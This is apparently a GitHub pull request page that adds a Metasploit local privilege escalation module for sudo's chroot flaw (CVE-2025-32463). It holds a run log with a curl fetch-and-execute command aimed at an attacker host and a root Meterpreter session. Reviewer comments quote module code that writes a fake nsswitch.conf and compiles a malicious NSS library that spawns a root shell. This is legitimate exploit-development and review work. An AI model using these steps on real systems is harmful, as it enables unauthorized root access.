Skip to content

Adds module for sudo chroot LPE (CVE-2025-32463) #20376

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 12 commits into
base: master
Choose a base branch
from

Conversation

msutovsky-r7
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 commented Jul 10, 2025

This PR adds a local module for CVE-2025-32463 - local privilege escalation in sudo before version 1.9.17p1. The module requires existing session and ability to compile C payload on the target machine.

Vulnerable Application

Sudo before version 1.19.17p1 allows user to use chroot option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via chroot using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running chroot syscall. The module requires existing session and requires compiler on target machine (e.g. gcc).

Installation of vulnerable sudo:

wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
    tar xzf sudo-1.9.16p2.tar.gz && \
    cd sudo-1.9.16p2 && \
    ./configure --disable-gcrypt --prefix=/usr && make && make install

Verification Steps

  1. Start msfconsole
  2. Get existing session to low-privileged user
  3. Do: use linux/local/sudo_chroot_cve_2025_32463
  4. Set target payload
  5. Do: set lhost [attacker IP address]
  6. Do: set lport [attacker port]
  7. Do: run

Options

COMPILE

Option setting if compile target payload on the target.

COMPILER

Option setting the compiler to compile target payload.

Scenarios

msf6 exploit(linux/local/sudo_chroot_cve_2025_32463) > run verbose=true 
[*] Command to run on remote host: curl -so ./YoGpAgWbO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./YoGpAgWbO;./YoGpAgWbO&
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Running version 1.9.16.2
[*] Writing '/tmp/Xw1XwkTPC' (117 bytes) ...
[*] Max line length is 65537
[*] Writing 117 bytes in 1 chunks of 420 bytes (octal-encoded), using printf
[*] Creating directory /tmp/ugJjJFSc9q
[*] /tmp/ugJjJFSc9q created
[*] Max line length is 65537
[*] Writing 216 bytes in 1 chunks of 763 bytes (octal-encoded), using printf
[*] Client 192.168.168.140 requested /Q7JGOkCYlO14PhxIQeJRIQ
[*] Sending payload to 192.168.168.140 (curl/8.14.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Launching exploit...
[*] Sending stage (3090404 bytes) to 192.168.168.140
[+] Deleted /tmp/Xw1XwkTPC
[+] Deleted /tmp/ugJjJFSc9q
[*] Meterpreter session 10 opened (192.168.168.128:4444 -> 192.168.168.140:41672) at 2025-07-10 16:12:58 +0200

meterpreter > sysinfo 
Computer     : kali.kali
OS           : Debian  (Linux 6.12.25-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

@msutovsky-r7 msutovsky-r7 force-pushed the exploit/sudo-chroot-privesc branch from a9a701f to d50644f Compare July 10, 2025 13:22
@msutovsky-r7 msutovsky-r7 force-pushed the exploit/sudo-chroot-privesc branch from d50644f to 14fb001 Compare July 10, 2025 13:26
@msutovsky-r7 msutovsky-r7 deleted the exploit/sudo-chroot-privesc branch July 10, 2025 13:27
@msutovsky-r7 msutovsky-r7 restored the exploit/sudo-chroot-privesc branch July 10, 2025 13:27
@msutovsky-r7 msutovsky-r7 reopened this Jul 10, 2025
@msutovsky-r7 msutovsky-r7 changed the title Exploit/sudo chroot privesc Adds module for sudo chroot LPE (CVE-2025-32463) Jul 10, 2025
Comment on lines 69 to 78
# borrowed from exploits/linux/local/sudo_baron_samedit.rb
def get_versions
versions = {}
output = cmd_exec('sudo --version')
if output
version = output.split("\n").first.split(' ').last
versions[:sudo] = version if version =~ /^\d/
end
versions
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This could likely go into a mixin, as there are already two instances of this pattern in metasploit (see git grep 'sudo --version' | wc -l)


return CheckCode::Safe if !file?('/etc/nsswitch.conf')

sudo_version.gsub!(/p/, '.')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be nice to have a comment here to explain what's going on :)


return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17'))

CheckCode::Safe('Sudo is not vulnerable')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
CheckCode::Safe('Sudo is not vulnerable')
CheckCode::Safe("Sudo #{sudo_version} is not vulnerable")


payload_file = rand_text_alphanumeric(5..10)

upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/bash\n" + payload.encoded)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/bash\n" + payload.encoded)
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/sh\n" + payload.encoded)

Some targets don't have bash installed.


cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf))

cmd_exec("cp /etc/group #{base_dir}/etc")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd_exec("cp /etc/group #{base_dir}/etc")
copy_file("/etc/group", "#{base_dir}/etc")


cmd_exec("mkdir -p #{base_dir}/etc libnss_")

cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf))
write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}")

@msutovsky-r7 msutovsky-r7 marked this pull request as ready for review July 11, 2025 10:38
Comment on lines 24 to 25
This exploit module illustrates how a vulnerability could be exploited
in an linux command for priv esc.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
This exploit module illustrates how a vulnerability could be exploited
in an linux command for priv esc.
Sudo before version 1.19.17p1 allows user to use `chroot` option, when
executing command. The option is intended to run a command with
user-selected root directory (if sudoers file allow it). Change in version
1.9.14 allows resolving paths via `chroot` using user-specified root
directory when sudoers is still evaluating.
This allows the attacker to trick Sudo into loading arbitrary shared object,
thus resulting in a privilege escalation.


'Arch' => [ ARCH_CMD ],

# chmod has some issues for meterpreter, forcing shell
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be nice to open an issue about this as well.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there any more details here? 👀

Might be an easy fix (or not)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd also be curious about the details, here?
Curious about what happened when you tried explicit cmd_exec calls to give commands, too?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Made issue about this here. Will add additional modules, as far as I remember, explicit cmd_exec was working fine.

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What kind of things are logged?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AFAIK, you can add setting to sudo that will save a log every time you run it along with arguments.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

But this isn't the default behaviour, so I don't think we should have IOC_IN_LOGS


return CheckCode::Safe if !file?('/etc/nsswitch.conf')

# as sudo --version returns the version in format [version]p[minor version?], so this removes p
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# as sudo --version returns the version in format [version]p[minor version?], so this removes p
# as `sudo --version` returns the version in format `[version]p[minor version?]`, we need to remove the `p` character.


existing_shell = cmd_exec('echo $0 || echo ${SHELL}')

# puts existing_shell
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# puts existing_shell


return Failure::NotFound, 'Could not find shell' unless file?(existing_shell)

upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n" + payload.encoded)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n" + payload.encoded)
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}")

Let's be consistent.


cd(temp_dir)

cmd_exec("mkdir -p #{base_dir}/etc libnss_")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd_exec("mkdir -p #{base_dir}/etc libnss_")
mkdir("#{base_dir}/etc libnss_")

Metasploit's (remote) mkdir behaves like mkdir -p.

return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group")

exploit_code = %<
#include <stdlib.h>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is this included needed? setreuid, setregid, chdir and execve are all in unistd.h.

execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); /* root shell */
}>

upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}")
Copy link
Contributor

@adfoster-r7 adfoster-r7 Jul 17, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there any context on why we need to upload and compile our own payload here, I think there's existing payload prepend flags in framework for uid/gid setting - or was chdir the hard-blocker here 👀

Copy link
Contributor Author

@msutovsky-r7 msutovsky-r7 Jul 22, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IIRC, the payload needs to chdir to exit from chroot. That being said, I think the bigger blocker might be the fact that payload needs to act as libnss.so library, so for that reason, the constructor for some reason, so I preferred to compile things on fly. But I'll do some tests, see if it might work without compiling anything. After some tests, it seems like generate_payload_dll does not do the trick, because the payload needs to run before main (?), so whatever we want to run, it should be run as init - __attribute__((constructor)). I haven't come across such options for metasploit payload, so I left it as it is.

# force exploit is used to bypass the check command results
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Msf::Post::Linux::System and a host of the other modules used here already include Msf::Post::File, thus they have access to it's methods. Including Msf::Post::File here is redundant. Msf::Post::Linux::System

@bwatters-r7 bwatters-r7 self-assigned this Jul 30, 2025
## Vulnerable Application


Sudo before version 1.19.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`).
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might be worthwhile to explicitly state versions 1.9.14-1.9.17p1 are vulnerable in the first sentence. No one wants to dig to find the second bookend. Ain't nobody got time for that(TM).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants